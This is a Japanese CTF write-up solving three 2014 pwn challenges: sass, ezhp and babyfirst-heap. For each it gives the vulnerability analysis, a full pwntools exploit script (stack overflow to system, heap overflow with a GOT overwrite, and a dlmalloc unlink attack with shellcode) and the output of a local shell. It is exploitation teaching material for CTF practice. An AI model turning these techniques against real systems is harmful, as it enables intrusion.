pwn challenges list easy writeup その5
前回
[PlaidCTF 2014] sass - Pwnables200
ELF 32-bit、動的リンク、NXとPIE有効。
% file sass-3b23e61c9defaf34f7111ba425f12208 sass-3b23e61c9defaf34f7111ba425f12208: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=14620269dbd6ecd23869f318d6b64fa4b550bdec, not stripped % checksec -f sass-3b23e61c9defaf34f7111ba425f12208 RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 2 4 sass-3b23e61c9defaf34f7111ba425f12208
ソートをするプログラム。
ubuntu-xenial% ./sass-3b23e61c9defaf34f7111ba425f12208 Sorting as a service! Enter your numbers: 1 5 2 Sorting... OK, here you are: 0x00000001 0x00000002 0x00000005 Thank you, come again!
数値を入力するときにスタック上のバッファに値を入れていくが、その個数に制限がないためBOFを起こせる。また、数値はバッファに代入されるのではなく加算されているため、libcなどのアドレスをリークしなくてもスタック上にある値を使って好きなアドレスを使うことができる。ソートされることを利用して戻り番地をsystem
に変え、引数の部分を/bin/sh
へのポインタにすることでシェルを起動した。
#!/usr/bin/env python from pwn import * def gen(vec): return '\n'.join(map(str,vec)) + '\n\n' if __name__ == '__main__': s = process('./sass-3b23e61c9defaf34f7111ba425f12208') system_offset = 0x3a940 sh_str = 0x15900b payload = '\n'.join(map(str,[1<<31] * 32 + [(1<<32)-0x1b03dc+sh_str-1,1<<31,1<<31,1<<31,(1<<32)-0x1b0000+system_offset,(1<<32)-0x1b0000+sh_str,1<<31,(1<<32)-(1<<30),1<<31,(1<<32)-(1<<30)])) + '\n\n' s.send(payload) s.recvuntil('again!\n') s.interactive()
% ./exploit.py [+] Starting local process './sass-3b23e61c9defaf34f7111ba425f12208': pid 7533 [*] Switching to interactive mode $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
[PlaidCTF 2014] ezhp - Pwnables200
ELF32-bit、動的リンク、Partial RELRO、SSPとNX無効。
% file ezhp ezhp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=76bda55f976430db3bea49b59ecd66040527fa9a, stripped % checksec -f ezhp RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 1 ezhp
ノートを管理するプログラム。
% ./ezhp Please enter one of the following: 1 to add a note. 2 to remove a note. 3 to change a note. 4 to print a note. 5 to quit. Please choose an option.
このプログラムでは独自のmallocを使っている。すべてのchunkを1つのリストで管理していて、それぞれのノードには「サイズ」、「次のノードへのポインタ」、「前のノードへのポインタ」、「データ」が格納されている。サイズの1bit目は使用中かどうかのフラグがある。mallocするときは「次のノードへのポインタ」を辿っていって、必要なサイズ以上かつサイズの1bit目が0であるchunkを探し、領域を切り取って返す。
ノートの書き換えの部分でオーバーフローの脆弱性があるため、次のchunkを上書きすることができ、「次のノードへのポインタ」を書き換えることができる。これによってノートの配列が格納されているアドレスをmallocで返すようにし、ノートのアドレスをputsのGOTに書き換えてsystemに上書きし、シェルを起動する。
#!/usr/bin/env python from pwn import * def add(size): s.sendlineafter('option.\n','1') s.sendlineafter('size.\n',str(size)) def remove(_id): s.sendlineafter('option.\n','2') s.sendlineafter('id.\n',str(_id)) def modify(_id,data): s.sendlineafter('option.\n','3') s.sendlineafter('id.\n',str(_id)) s.sendlineafter('size.\n',str(len(data))) s.sendlineafter('data.\n',data) def show(_id): s.sendlineafter('option.\n','4') s.sendlineafter('id.\n',str(_id)) if __name__ == '__main__': s = process('./ezhp') elf = ELF('./ezhp') libc = ELF('/lib32/libc.so.6') add(1) add(1) add(1) add(1) add(1) modify(0,'A' * 0xc + p32(1) + p32(0x804a064)) add(1) modify(5,p32(elf.got['puts'])) show(4) libc_base = u32(s.recvline(False)[:4]) - libc.symbols['puts'] log.info('libc base: %#x' % libc_base) modify(0,'/bin/sh\0') modify(4,p32(libc_base + libc.symbols['system'])) s.sendline('4') s.sendline('0') s.interactive()
% ./exploit.py [+] Starting local process './ezhp': pid 23006 [*] '/program/ctf/pwn/easy/ezhp/ezhp' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] '/lib32/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc base: 0xf75d7000 [*] Switching to interactive mode sh: 1: Please: not found sh: 1: 1: not found sh: 1: 2: not found sh: 1: 3: not found sh: 1: 4: not found sh: 1: 5: not found sh: 1: Please: not found sh: 1: Please: not found $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) $
[DEFCON CTF 2014] Baby's First: 1 - heap
ELF 32-bit、動的リンク、SSP無効、NX有効。
ubuntu-xenial% file babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped ubuntu-xenial% checksec babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c [*] '/program/ctf/pwn/easy/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
ubuntu-xenial% ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c Welcome to your first heap overflow... I am going to allocate 20 objects... Using Dougle Lee Allocator 2.6.1... Goodluck! Exit function pointer is at 804C8AC address. [ALLOC][loc=8C60008][size=1246] [ALLOC][loc=8C604F0][size=1121] [ALLOC][loc=8C60958][size=947] [ALLOC][loc=8C60D10][size=741] [ALLOC][loc=8C61000][size=706] [ALLOC][loc=8C612C8][size=819] [ALLOC][loc=8C61600][size=673] [ALLOC][loc=8C618A8][size=1004] [ALLOC][loc=8C61C98][size=952] [ALLOC][loc=8C62058][size=755] [ALLOC][loc=8C62350][size=260] [ALLOC][loc=8C62458][size=877] [ALLOC][loc=8C627D0][size=1245] [ALLOC][loc=8C62CB8][size=1047] [ALLOC][loc=8C630D8][size=1152] [ALLOC][loc=8C63560][size=1047] [ALLOC][loc=8C63980][size=1059] [ALLOC][loc=8C63DA8][size=906] [ALLOC][loc=8C64138][size=879] [ALLOC][loc=8C644B0][size=823] Write to object [size=260]: hoge Copied 5 bytes. [FREE][address=8C60008] [FREE][address=8C604F0] [FREE][address=8C60958] [FREE][address=8C60D10] [FREE][address=8C61000] [FREE][address=8C612C8] [FREE][address=8C61600] [FREE][address=8C618A8] [FREE][address=8C61C98] [FREE][address=8C62058] [FREE][address=8C62350] [FREE][address=8C62458] [FREE][address=8C627D0] [FREE][address=8C62CB8] [FREE][address=8C630D8] [FREE][address=8C63560] [FREE][address=8C63980] [FREE][address=8C63DA8] [FREE][address=8C64138] [FREE][address=8C644B0] Did you forget to read the flag with your shellcode? Exiting
Welcome to your first heap overflow...
heap overflowができるらしい。また、Using Dougle Lee Allocator 2.6.1...
とわざわざバージョンを示してくるということはmallocの脆弱性かもしれない。Dougle Lee Allocator 2.6.1
で調べるとwriteupがたくさんヒットする…。malloc 2.6.1
で調べると
http://gee.cs.oswego.edu/pub/misc/malloc-2.6.1.c
が見つかったので、読んでみる。freeは簡潔に書かれているので読みやすい。
void free(Void_t* mem) { if (mem != 0) /* free(0) has no effect */ { mchunkptr p = mem2chunk(mem); size_t sz = chunksize(p); mchunkptr next; check_inuse_chunk(p); if (!prev_inuse(p)) /* consolidate backward */ { mchunkptr previous = prev_chunk(p); sz += chunksize(previous); unlink(previous); p = previous; } next = chunk_at_offset(p, sz); if (next == top) /* merge with top */ { sz += chunksize(next); set_head(p, sz | PREV_INUSE); top = p; /* If top is too big, call malloc_trim */ if ((unsigned long)sz >= (unsigned long)TRIM_THRESHOLD) malloc_trim(); } else /* Place in a bin */ { mbinptr bin; int idx; clear_inuse_bit_at_offset(p, sz); if (!inuse(next)) /* consolidate forward */ { sz += chunksize(next); unlink(next); } set_sizes(p, sz); idx = bin_index(sz); mark_binblock(idx); bin = &(av[idx]); frontlink(bin, p); check_free_chunk(p); } } }
前か後ろのchunkが使われていない場合、unlinkが行われて今freeされているchunkと結合されるが、このバージョンのunlinkのマクロではFul->bk->fd == Bul->fd->bk
の判定が行われていない。よって簡単にunlink attackを行える。
#define unlink(p) \ { \ mchunkptr Bul = (p)->bk; \ mchunkptr Ful = (p)->fd; \ Ful->bk = Bul; Bul->fd = Ful; \ } \
また、heap領域が実行可能になっている。
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x0804b000 r-xp /program/ctf/pwn/easy/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c 0x0804b000 0x0804c000 r--p /program/ctf/pwn/easy/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c 0x0804c000 0x0804d000 rw-p /program/ctf/pwn/easy/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c 0x0984a000 0x09850000 rwxp [heap] 0xf7516000 0xf7517000 rw-p mapped 0xf7517000 0xf76c4000 r-xp /lib32/libc-2.23.so 0xf76c4000 0xf76c5000 ---p /lib32/libc-2.23.so 0xf76c5000 0xf76c7000 r--p /lib32/libc-2.23.so 0xf76c7000 0xf76c8000 rw-p /lib32/libc-2.23.so 0xf76c8000 0xf76cc000 rw-p mapped 0xf76dd000 0xf76e0000 r--p [vvar] 0xf76e0000 0xf76e1000 r-xp [vdso] 0xf76e1000 0xf7703000 r-xp /lib32/ld-2.23.so 0xf7703000 0xf7704000 rw-p mapped 0xf7704000 0xf7705000 r--p /lib32/ld-2.23.so 0xf7705000 0xf7706000 rw-p /lib32/ld-2.23.so 0xfff7e000 0xfff9f000 rw-p [stack]
プログラム全体の流れは以下のようになっており、最後に呼び出されるexit_func
をunlink attackでheapのアドレスに書き換え、shellcodeを実行する。
typedef struct { char *buf; int size; } chunk; (void (*)(int n)) exit_func; // 0x804c8ac int main(void) { setvbuf(stdout,0,2,0); signal(0xe,sig_alarm_handler); alarm(0x5a); mysrand(0x1234); puts("\nWelcome to your first heap overflow..."); puts("I am going to allocate 20 objects..."); puts("Using Dougle Lee Allocator 2.6.1...\nGoodluck!\n"); exit_func = do_exit; printf("Exit function pointer is at %X address.\n",exit_func); chunk list[20]; // esp+0x10 for (int i = 0; i < 20; i++) { int size = randrange(0x200,0x500); if (i == 10) size = 0x104; list[i]->buf = malloc(size); list[i]->size = size; printf("[ALLOC][loc=%X][size=%d]\n",list[i]->buf,size); } printf("Write to object [size=%d]:\n",list[10]->size); char buf[0x1000]; // esp+0x330 int len = get_my_line(buf,0x1000); memcpy(list[10]->buf,buf,len); printf("Copied %d bytes.\n",len); for (int i = 0; i < 20; i++) { printf("[FREE][address=%X]\n",list[i]->buf); free(list[i]->buf); } exit_func(1); return 0; }
#!/usr/bin/env python from pwn import * import re if __name__ == '__main__': s = process('./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c') context(os = 'linux', arch = 'x86') s.recvuntil('address.\n') table = [] for i in range(20): m = re.match(r'.*=([0-9A-F]*)].*=([0-9A-F]*)',s.recvline()) addr = int(m.group(1),16) size = int(m.group(2)) table.append((addr,size)) exit_func = 0x804c8ac shellcode = '\xeb\x0b'.ljust(0xd,'A') + asm(shellcraft.sh()) payload = '' payload += 'A' * 8 payload += shellcode payload = payload.ljust(0x104,'A') payload += p32(0x81) # freeされるchunk payload += 'A' * 0x7c payload += p32(0x81) # size payload += p32(exit_func - 0x8) # fd payload += p32(table[10][0] + 0x8) # bk payload += 'A' * 0x70 payload += p32(0x80) * 2 # prev not in use s.sendline(payload) s.interactive()
ubuntu-xenial% ./exploit.py [+] Starting local process './babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c': pid 9733 [*] Switching to interactive mode Write to object [size=260]: Copied 521 bytes. [FREE][address=82EE008] [FREE][address=82EE4F0] [FREE][address=82EE958] [FREE][address=82EED10] [FREE][address=82EF000] [FREE][address=82EF2C8] [FREE][address=82EF600] [FREE][address=82EF8A8] [FREE][address=82EFC98] [FREE][address=82F0058] [FREE][address=82F0350] [FREE][address=82F0458] [FREE][address=82F07D0] [FREE][address=82F0CB8] [FREE][address=82F10D8] [FREE][address=82F1560] [FREE][address=82F1980] [FREE][address=82F1DA8] [FREE][address=82F2138] [FREE][address=82F24B0] $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) $
続き